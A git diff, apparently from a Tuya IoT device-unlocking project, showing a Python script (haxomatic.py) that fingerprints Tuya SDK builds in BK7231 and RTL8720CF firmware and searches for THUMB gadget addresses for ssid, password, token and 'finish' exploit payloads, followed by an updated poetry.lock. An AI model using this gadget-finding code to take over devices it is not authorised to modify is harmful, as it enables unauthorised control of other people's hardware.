# 7b 69 20 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found, 1st is correct
|
||||
process(PlatformInfo(Platform.BK7231T), "SDK 2.3.0",
|
||||
Pattern("ssid", "041e08d14d4b", 1, 0, 20),
|
||||
Pattern("finish", "7b69201c9847", 1, 0))
|
||||
return
|
||||
|
||||
# Newest versions of BK7231T, BS 40.00, SDK 2.3.2
|
||||
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
|
||||
# 04 1e 00 d1 0c e7 is the byte pattern for ssid payload with a padding of 8
|
||||
# 1 match should be found
|
||||
# bb 68 20 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found, 1st is correct
|
||||
process(PlatformInfo(Platform.BK7231T), "SDK 2.3.2",
|
||||
Pattern("ssid", "041e00d10ce7", 1, 0, 8),
|
||||
Pattern("finish", "bb68201c9847", 1, 0))
|
||||
return
|
||||
|
||||
# BK7231N and BK7231NL
|
||||
if b'AT bk7231n' in appcode or b'AT BK7231NL' in appcode:
|
||||
# This one build is slightly different than the rest of the following 2.3.1 builds
|
||||
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
and b'BUILD AT:2021_02_26_12_42_29 BY embed FOR ty_iot_sdk AT bk7231n' in appcode):
|
||||
# 05 1e 00 d1 c9 e6 is the byte pattern for ssid payload with a padding of 4
|
||||
# 1 match should be found
|
||||
# 43 68 20 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.1",
|
||||
Pattern("ssid", "051e00d1c9e6", 1, 0, 4),
|
||||
Pattern("finish", "4368201c9847", 1, 0))
|
||||
return
|
||||
|
||||
# BK7231N, BS 40.00, SDK 2.3.1, CAD 1.0.3
|
||||
# 0.0.2 is also a variant of 2.3.1
|
||||
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
or b'TUYA IOT SDK V:0.0.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
or b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
or b'TUYA IOT SDK V:ffcgroup BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode):
|
||||
# 05 1e 00 d1 15 e7 is the byte pattern for ssid payload with a padding of 4
|
||||
# 1 match should be found
|
||||
# 43 68 20 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.1",
|
||||
Pattern("ssid", "051e00d115e7", 1, 0, 4),
|
||||
Pattern("finish", "4368201c9847", 1, 0))
|
||||
return
|
||||
|
||||
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.4
|
||||
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
|
||||
# 05 1e 00 d1 13 e7 is the byte pattern for ssid payload with a padding of 4
|
||||
# 1 match should be found
|
||||
# 43 68 20 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.3 LAN 3.3/CAD 1.0.4",
|
||||
Pattern("ssid", "051e00d113e7", 1, 0, 4),
|
||||
Pattern("finish", "4368201c9847", 1, 0))
|
||||
return
|
||||
|
||||
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.5
|
||||
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0' in appcode:
|
||||
# 05 1e 00 d1 fc e6 is the byte pattern for ssid payload with a padding of 4
|
||||
# 1 match should be found
|
||||
# 43 68 20 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.3 LAN 3.4/CAD 1.0.5",
|
||||
Pattern("ssid", "051e00d1fce6", 1, 0, 4),
|
||||
Pattern("finish", "4368201c9847", 1, 0))
|
||||
return
|
||||
|
||||
# Special case for a RTL8720CF build with no SDK string
|
||||
# RTL8720CF, 2.3.0 SDK with no SDK string
|
||||
if b'TUYA IOT SDK' not in appcode and b'AmebaZII' in appcode and b'\x002.3.0\x00' in appcode:
|
||||
# 28 46 66 6a b0 47 is the byte pattern for ssid with a padding of 4
|
||||
# 1 match should be found
|
||||
# df f8 3c 81 06 46 is the byte pattern for passwd with a padding of 2
|
||||
# 1 match should be found
|
||||
# 04 46 30 b1 00 68 is the byte pattern for finish
|
||||
# 2 matches should be found, second is correct
|
||||
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
|
||||
Pattern("ssid", "2846666ab047", 1, 0, 4),
|
||||
Pattern("passwd", "dff83c810646", 1, 0, 2),
|
||||
Pattern("finish", "044630b10068", 2, 1))
|
||||
return
|
||||
|
||||
# RTL8720CF
|
||||
if b'AT rtl8720cf_ameba' in appcode:
|
||||
# TUYA IOT SDK V:1.0.8 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
|
||||
# TUYA IOT SDK V:1.0.11 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
|
||||
# TUYA IOT SDK V:1.0.12 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
|
||||
# TUYA IOT SDK V:1.0.13 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
|
||||
# TUYA IOT SDK V:1.0.14 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
|
||||
if b'TUYA IOT SDK V:1.0.' in appcode:
|
||||
# SDK 1.0.x has a special XIP load address and offset
|
||||
process(PlatformInfo(Platform.RTL8720CF, 0x9b000000 - 0x8000), "SDK 1.0.x",
|
||||
Pattern("token", "464f054628b9", 1, 0),
|
||||
Pattern("finish", "d8f8003011aa", 1, 0))
|
||||
return
|
||||
|
||||
# RTL8720CF 2.3.0 SDK with SDK string
|
||||
if (b'TUYA IOT SDK V:2.3.0 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
and (b'BUILD AT:2021_01_06_11_13_21 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode
|
||||
or b'BUILD AT:2021_04_29_18_59_39 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode)):
|
||||
# 5b 68 20 46 98 47 is the byte pattern for token
|
||||
# 2 matches should be found, second is correct
|
||||
# df f8 34 80 06 46 is the byte pattern for passwd with a padding of 4
|
||||
# 1 match should be found
|
||||
# d8 f8 00 80 b8 f1 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
|
||||
Pattern("token", "5b6820469847", 2, 1),
|
||||
Pattern("passwd", "dff834800646", 1, 0, 4),
|
||||
Pattern("finish", "d8f80080b8f1", 1, 0))
|
||||
return
|
||||
|
||||
# Same as 2.3.0 without SDK string above
|
||||
if b'TUYA IOT SDK V:2.3.0 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode and b'BUILD AT:2021_06_17_16_35_07 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode:
|
||||
# 28 46 66 6a b0 47 is the byte pattern for ssid with a padding of 4
|
||||
# 1 match should be found
|
||||
# df f8 3c 81 06 46 is the byte pattern for passwd with a padding of 2
|
||||
# 1 match should be found
|
||||
# 04 46 30 b1 00 68 is the byte pattern for finish
|
||||
# 2 matches should be found, second is correct
|
||||
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
|
||||
Pattern("ssid", "2846666ab047", 1, 0, 4),
|
||||
Pattern("passwd", "dff83c810646", 1, 0, 2),
|
||||
Pattern("finish", "044630b10068", 2, 1))
|
||||
return
|
||||
|
||||
# TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0
|
||||
if b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode:
|
||||
# 05 46 00 28 3f f4 a6 ac is the byte pattern for token
|
||||
# 1 match should be found
|
||||
# 28 46 d8 f8 04 30 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.1",
|
||||
Pattern("token", "054600283ff4a6ac", 1, 0, 4),
|
||||
Pattern("finish", "2846d8f80430", 1, 0))
|
||||
return
|
||||
|
||||
# TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
|
||||
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
|
||||
# 05 46 00 28 3f f4 ba ac is the byte pattern for token
|
||||
# 1 match should be found
|
||||
# 28 46 d8 f8 04 30 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.2",
|
||||
Pattern("token", "054600283ff4baac", 1, 0, 4),
|
||||
Pattern("finish", "2846d8f80430", 1, 0))
|
||||
return
|
||||
|
||||
# TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
|
||||
# Early 2.3.3 are the same as 2.3.2
|
||||
if (b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode
|
||||
and (b'BUILD AT:2021_09_22_16_52_29 BY embed FOR ty_iot_sdk AT rtl8720cf_ameba' in appcode
|
||||
or b'BUILD AT:2023_03_02_17_45_15 BY ci_manage FOR ty_iot_sdk AT rtl8720cf_ameba' in appcode)):
|
||||
# 05 46 00 28 3f f4 ba ac is the byte pattern for token
|
||||
# 1 match should be found
|
||||
# 28 46 d8 f8 04 30 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.3 (older)",
|
||||
Pattern("token", "054600283ff4baac", 1, 0, 4),
|
||||
Pattern("finish", "2846d8f80430", 1, 0))
|
||||
return
|
||||
|
||||
# TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
|
||||
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
|
||||
# 28 46 00 f0 2a fd is the byte pattern for token
|
||||
# 1 match should be found
|
||||
# b8 f1 0e 0f 7f d9 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.3 (newer)",
|
||||
Pattern("token", "284600f02afd", 1, 0),
|
||||
Pattern("finish", "b8f10e0f7fd9", 1, 0))
|
||||
return
|
||||
|
||||
raise RuntimeError('Unknown pattern, please open a new issue and include the bin.')
|
||||
|
||||
|
||||
def check_for_patched(known_patch_pattern):
|
||||
matcher = CodePatternFinder(appcode, 0x0)
|
||||
|
||||
matcher = CodePatternFinder(PlatformInfo())
|
||||
patched_bytecode = bytes.fromhex(known_patch_pattern)
|
||||
patched_matches = matcher.bytecode_search(patched_bytecode, stop_at_first=True)
|
||||
|
||||
@@ -158,63 +350,53 @@ def check_for_patched(known_patch_pattern):
|
||||
return False
|
||||
|
||||
|
||||
def process_generic(chipset, pattern_version, payload_type, payload_padding, payload_string, payload_count, payload_index, finish_string, finish_count, finish_index):
|
||||
with open(name_output_file('chip.txt'), 'w') as f:
|
||||
f.write(f'{chipset}')
|
||||
|
||||
matcher = CodePatternFinder(appcode, 0x0)
|
||||
print(f"[+] Matched pattern for {chipset} version {pattern_version}, payload type {payload_type}")
|
||||
|
||||
patch_patterns = [
|
||||
"2d6811226b1dff33181c00210393", # BK7231N short/combined
|
||||
"2d6811226b1dff33181c0021039329f0", # BK7231N 2.3.1 Patched
|
||||
"2d6811226b1dff33181c002103930bf0", # BK7231N 2.3.3 Patched
|
||||
]
|
||||
|
||||
for patch_pattern in patch_patterns:
|
||||
if check_for_patched(patch_pattern):
|
||||
return
|
||||
|
||||
print(f"[+] Searching for {payload_type} payload address")
|
||||
payload_bytecode = bytes.fromhex(payload_string)
|
||||
payload_matches = matcher.bytecode_search(payload_bytecode, stop_at_first=False)
|
||||
if not payload_matches or len(payload_matches) != payload_count:
|
||||
raise RuntimeError(f"[!] Failed to find {payload_type} payload address (found {len(payload_matches)}, expected {payload_count})")
|
||||
payload_addr = matcher.set_final_thumb_offset(payload_matches[payload_index])
|
||||
for b in payload_addr.to_bytes(3, byteorder='little'):
|
||||
def find_payload(platformInfo, pattern : Pattern):
|
||||
matcher = CodePatternFinder(platformInfo)
|
||||
print(f"[+] Searching for {pattern.type}[{pattern.padding}] payload address")
|
||||
bytecode = bytes.fromhex(pattern.matchString)
|
||||
matches = matcher.bytecode_search(bytecode, stop_at_first=False)
|
||||
if not matches or len(matches) != pattern.count:
|
||||
return -1, f"[!] Failed to find {pattern.type}[{pattern.padding}] payload address (found {len(matches)}, expected {pattern.count})"
|
||||
addr = matcher.set_final_thumb_offset(matches[pattern.index])
|
||||
for b in addr.to_bytes(platformInfo.address_size, byteorder='little'):
|
||||
if b == 0:
|
||||
raise RuntimeError(f"[!] {payload_type} payload address contains a null byte, unable to continue")
|
||||
print(f"[+] {payload_type} payload address gadget (THUMB): 0x{payload_addr:X}")
|
||||
|
||||
print("[+] Searching for finish address")
|
||||
finish_bytecode = bytes.fromhex(finish_string)
|
||||
finish_matches = matcher.bytecode_search(finish_bytecode, stop_at_first=False)
|
||||
if not finish_matches or len(finish_matches) > finish_count:
|
||||
raise RuntimeError("[!] Failed to find finish address")
|
||||
finish_addr = matcher.set_final_thumb_offset(finish_matches[finish_index])
|
||||
for b in finish_addr.to_bytes(3, byteorder='little'):
|
||||
if b == 0:
|
||||
if finish_count > 0:
|
||||
print("[!] Preferred finish address contained a null byte, using available alternative")
|
||||
finish_addr = matcher.set_final_thumb_offset(finish_matches[finish_index + 1])
|
||||
# TODO: make this a better alternate search if pattern.index is already max
|
||||
if pattern.type == "finish" and pattern.count > 1:
|
||||
print(f"[!] Preferred {pattern.type} address ({addr:X}) contained a null byte, trying available alternative")
|
||||
addr = matcher.set_final_thumb_offset(matches[pattern.index + 1])
|
||||
else:
|
||||
raise RuntimeError("[!] Finish address contains a null byte, unable to continue")
|
||||
print(f"[+] Finish address gadget (THUMB): 0x{finish_addr:X}")
|
||||
return -1, f"[!] {pattern.type} address ({addr:X}) contains a null byte, unable to continue"
|
||||
print(f"[+] {pattern.type}[{pattern.padding}] payload address gadget (THUMB): 0x{addr:X}")
|
||||
|
||||
with open(name_output_file(f'address_{pattern.type}.txt'), 'w') as f:
|
||||
f.write(f'0x{addr:X}')
|
||||
if pattern.padding > 0:
|
||||
with open(name_output_file(f'address_{pattern.type}_padding.txt'), 'w') as f:
|
||||
f.write(f"{pattern.padding}")
|
||||
return 0, ""
|
||||
|
||||
with open(name_output_file('address_finish.txt'), 'w') as f:
|
||||
f.write(f'0x{finish_addr:X}')
|
||||
|
||||
if payload_type == "datagram":
|
||||
with open(name_output_file('address_datagram.txt'), 'w') as f:
|
||||
f.write(f'0x{payload_addr:X}')
|
||||
elif payload_type == "ssid":
|
||||
with open(name_output_file('address_ssid.txt'), 'w') as f:
|
||||
f.write(f'0x{payload_addr:X}')
|
||||
with open(name_output_file('address_ssid_padding.txt'), 'w') as f:
|
||||
f.write(f'{payload_padding}')
|
||||
elif payload_type == "passwd":
|
||||
with open(name_output_file('address_passwd.txt'), 'w') as f:
|
||||
f.write(f'0x{payload_addr:X}')
|
||||
def process(platformInfo, sdk_identifier, pattern1 : Pattern, pattern2 : Pattern, pattern3 : Pattern = None):
|
||||
with open(name_output_file('chip.txt'), 'w') as f:
|
||||
f.write(f'{platformInfo.platform.value}')
|
||||
|
||||
|
||||
combined_payload_type = f"{pattern1.type}[{pattern1.padding}] + {pattern2.type}[{pattern2.padding}]"
|
||||
if pattern3:
|
||||
combined_payload_type += f" + {pattern3.type}[{pattern3.padding}]"
|
||||
print(f"[+] Matched pattern for {platformInfo.platform.value} {sdk_identifier}, payload type {combined_payload_type}")
|
||||
|
||||
pattern1_result, pattern1_message = find_payload(platformInfo, pattern1)
|
||||
pattern2_result, pattern2_message = find_payload(platformInfo, pattern2)
|
||||
pattern3_message = None
|
||||
if pattern3:
|
||||
pattern3_result, pattern3_message = find_payload(platformInfo, pattern3)
|
||||
|
||||
if pattern1_result < 0 or pattern2_result < 0 or (pattern3 and pattern3_result < 0):
|
||||
raise RuntimeError("\r\n".join([x for x in [pattern1_message, pattern2_message, pattern3_message] if x]))
|
||||
|
||||
with open(name_output_file('haxomatic_matched.txt'), 'w') as f:
|
||||
f.write('1')
|
||||
|
||||
|
||||
def run(decrypted_app_file: str):
|
||||
@@ -222,14 +404,16 @@ def run(decrypted_app_file: str):
|
||||
print('Usage: python haxomatic.py <app code file>')
|
||||
sys.exit(1)
|
||||
|
||||
address_finish_file = decrypted_app_file.replace('_app_1.00_decrypted.bin', '_address_finish.txt')
|
||||
if os.path.exists(address_finish_file):
|
||||
global appcode_path, appcode
|
||||
appcode_path = decrypted_app_file.replace(".bin", "")
|
||||
if appcode_path.endswith("_active_app"):
|
||||
appcode_path = appcode_path.replace("_active_app", "")
|
||||
|
||||
if os.path.exists(name_output_file("haxomatic_matched.txt")):
|
||||
print('[+] Haxomatic has already been run')
|
||||
return
|
||||
|
||||
global appcode_path, appcode
|
||||
appcode_path = decrypted_app_file
|
||||
with open(appcode_path, 'rb') as fs:
|
||||
with open(decrypted_app_file, 'rb') as fs:
|
||||
appcode = fs.read()
|
||||
walk_app_code()
|
||||
|
||||
|
||||
476
profile-building/poetry.lock
generated
476
profile-building/poetry.lock
generated
@@ -1,4 +1,63 @@
|
||||
# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "bitstruct"
|
||||
version = "8.20.0"
|
||||
description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "bitstruct-8.20.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7a33169c25eef4f923f8a396ef362098216f527e83e44c7e726c126c084944ab"},
|
||||
{file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7fec9cff575cdd9dafba9083fa8446203f32c7112af7a6748f315f974dcd418"},
|
||||
{file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08835ebed9142babc39885fc0301f45fae9de7b1f3e78c1e3b4b5c2e20ff8d38"},
|
||||
{file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2b1735a9ae5ff82304b9f416051e986e3bffa76bc416811d598ee3e8e9b1f26c"},
|
||||
{file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9962bccebee15ec895fa8363ad4391e5314ef499b3e96af7d8ef6bf6e2f146ce"},
|
||||
{file = "bitstruct-8.20.0-cp310-cp310-win32.whl", hash = "sha256:5f3c88ae5d4e329cefecc66b18269dc27cd77f2537a8d506b31f8b874225a5cc"},
|
||||
{file = "bitstruct-8.20.0-cp310-cp310-win_amd64.whl", hash = "sha256:98640aeb709b67dcea79da7553668b96e9320ee7a11639c3fe422592727b1705"},
|
||||
{file = "bitstruct-8.20.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3be9192bff6accb6c2eb4edd355901fed1e64cc50de437015ee1469faab436a4"},
|
||||
{file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9a2634563ed9c7229b0c6938a332b718e654f0494c2df87ee07f8074026ee68"},
|
||||
{file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4cf892b3c95393772eea4ab2a0e4ea2d7ec45742557488727bd6bfdd1d1e5007"},
|
||||
{file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fc4a841126e2d89fd3ef579c2d8b02f8af31b5973b947afb91450ae8adf5caa4"},
|
||||
{file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fbf434f70f827318f2aaa68c6cf2fde58ab34a5ab1c6d9f0f4b9f953f058584"},
|
||||
{file = "bitstruct-8.20.0-cp311-cp311-win32.whl", hash = "sha256:0b0444a713f4f7e13927427e9ff5ed73bb4223c8074141adfc3e0bfbe63e092d"},
|
||||
{file = "bitstruct-8.20.0-cp311-cp311-win_amd64.whl", hash = "sha256:8271b3851657fe1066cb04ddc30e14a8492bdd18fa287514506af0801babd494"},
|
||||
{file = "bitstruct-8.20.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5df3ce5f4dd517be68e4b2d8ab37a564e12d5e24ec29039a3535281174a75284"},
|
||||
{file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac0bb940fa9238c05796d45fb957ddf2e10d82ee8fd8cd43c5e367a9c380b24c"},
|
||||
{file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73eb7f0b6031c7819c12412c71af07cfac036da22a9245b7a1669a1f11fe1220"},
|
||||
{file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ea7b64a444bf592712593a9f3bf1cb37588fae257aeb40d2ea427e17ef3d690c"},
|
||||
{file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4dad0231810bc3ef4e5154d6d6f7d62cc3efe2b9e9e6126002f105297284af3"},
|
||||
{file = "bitstruct-8.20.0-cp312-cp312-win32.whl", hash = "sha256:8ca1cc21ae72bbefee4471054e6a993b74f4571716eded73c3d3b6280dc831fd"},
|
||||
{file = "bitstruct-8.20.0-cp312-cp312-win_amd64.whl", hash = "sha256:b3732bed3c8b190dee071c2222304ef668f665fbdbeef19c9aeed50fbe1a3d48"},
|
||||
{file = "bitstruct-8.20.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b62fab3f38c09f5d61c83559cfc495b56de6dc424c3ccb1ff9f93457975b8c25"},
|
||||
{file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4df55aea3bf5c1970174191f04f575d657515b2ff26582e7a6475937b4e8176"},
|
||||
{file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44afbce27ca0bd3fa96630c7a240bff167a7b66c05ac12ba9147ec001eee531"},
|
||||
{file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c3d19f85935613a7db42f0e848e278d33ed2b18629dd5cc0e391d0ee8ddb54b"},
|
||||
{file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d3f29bb701916a8bb885ccc0de77c6c4b3eaf81652916b3d0bcd7dd9ebdab799"},
|
||||
{file = "bitstruct-8.20.0-cp313-cp313-win32.whl", hash = "sha256:a09f81cdeec264349a6e65597329a1cee461218b870f8113848126c2c6729025"},
|
||||
{file = "bitstruct-8.20.0-cp313-cp313-win_amd64.whl", hash = "sha256:31e33cc7db403cd2441d4d1968c57334b2489ffe123cfc30d26eedf11063288e"},
|
||||
{file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:462f27fed30322c24007641ec2f2413a4778f564b30b45e3265f689cd84d43d7"},
|
||||
{file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c547a2cba2a94076dec3ef72229be641bbc320cb676a028db45202abb405b02"},
|
||||
{file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:aff38098efc9c6cbba8cd3f2b37aa8bf6169e3a53be2ec21c1c3166bdeae22d0"},
|
||||
{file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31c64bf7ebda6d046fc3909287a6f7adcbbc1d1e50e463e3239798558f24bcfa"},
|
||||
{file = "bitstruct-8.20.0-cp37-cp37m-win32.whl", hash = "sha256:67e9b21a3a5ca247e31168a81da94a27763e7a34c80c847d9266209ec70294c2"},
|
||||
{file = "bitstruct-8.20.0-cp37-cp37m-win_amd64.whl", hash = "sha256:215acf2ecc2a65dcf4dec79d8e6ad98792d4ef4ae0b02aaf6b0dd678a6c11d02"},
|
||||
{file = "bitstruct-8.20.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9dcbccadba78c9b3170db967a8559500e3eca821cd9f101a76c087cf01e1cdbd"},
|
||||
{file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6232fdf18689406369810a448181e9a2936f9d22707918394fc0cf5334c9fc1"},
|
||||
{file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7fe8c959beb3b9471bedc3af01467cedede72f2cf65614aa69a6651684926c4e"},
|
||||
{file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:2adcd545a8f8a90a2e84a21edc5763f3d3832ebddb7cc687b7650221cddfc19a"},
|
||||
{file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b3a4f0e443a9b4171b648b52c3003064cf31113f6203e08dc4ac225601d9249b"},
|
||||
{file = "bitstruct-8.20.0-cp38-cp38-win32.whl", hash = "sha256:5618eaab857db6dafa26751af5b8c926541ce578f36608e50fa687127682af3c"},
|
||||
{file = "bitstruct-8.20.0-cp38-cp38-win_amd64.whl", hash = "sha256:3eb8de0ad891b716ed97430e8b8603b6d875c5ddc5ebcd9c5288099c773a6bc9"},
|
||||
{file = "bitstruct-8.20.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a063deb6b7b07906414ac460c807e483b6eea662abcb406c4ea6e2938c8fc21"},
|
||||
{file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0528f8da4cf919a3d4801603c4e5fc601b72b86955d37c51c8d7ddc69f291f0c"},
|
||||
{file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac783d0bc7c57bee2c8f8cda4c83d60236e7c046f6f454e76943f9e0fb16112"},
|
||||
{file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a0482f8e2b73df16d080d5d8df23e2949c114e27acfeb659f0465ef8ce1da038"},
|
||||
{file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f6cc949e8030303b05728294b4feaca8c955150dd5042f66467da1dd18ff3410"},
|
||||
{file = "bitstruct-8.20.0-cp39-cp39-win32.whl", hash = "sha256:3e5195cfe68952587a2fcb621b2ee766e78f5d2d5a1e94204ac302e3d3f441bc"},
|
||||
{file = "bitstruct-8.20.0-cp39-cp39-win_amd64.whl", hash = "sha256:a7109b454a8cccc55e88165a903e5d9980e39f6f5268dc5ec5386ae96a89ff1b"},
|
||||
{file = "bitstruct-8.20.0.tar.gz", hash = "sha256:f6b16a93097313f2a6c146640c93e5f988a39c33364f8c20a4286ac1c5ed5dae"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bk7231tools"
|
||||
@@ -6,6 +65,7 @@ version = "2.0.0"
|
||||
description = "Tools to interact with and analyze artifacts for BK7231 MCUs"
|
||||
optional = false
|
||||
python-versions = ">=3.7,<4.0"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "bk7231tools-2.0.0-py3-none-any.whl", hash = "sha256:8ad3e65aa07dfbf8dd549d03791028ee7304f38c80eb4fe3b113d5e06e3c3daf"},
|
||||
{file = "bk7231tools-2.0.0.tar.gz", hash = "sha256:27dc81ae33d61e2c5191794f2f174f3d7893d3a29f06960c920d068188c33efe"},
|
||||
@@ -19,23 +79,313 @@ pyserial = ">=3.5,<4.0"
|
||||
[package.extras]
|
||||
cli = ["pycryptodome (>=3.16.0,<4.0.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "certifi"
|
||||
version = "2025.11.12"
|
||||
description = "Python package for providing Mozilla's CA Bundle."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
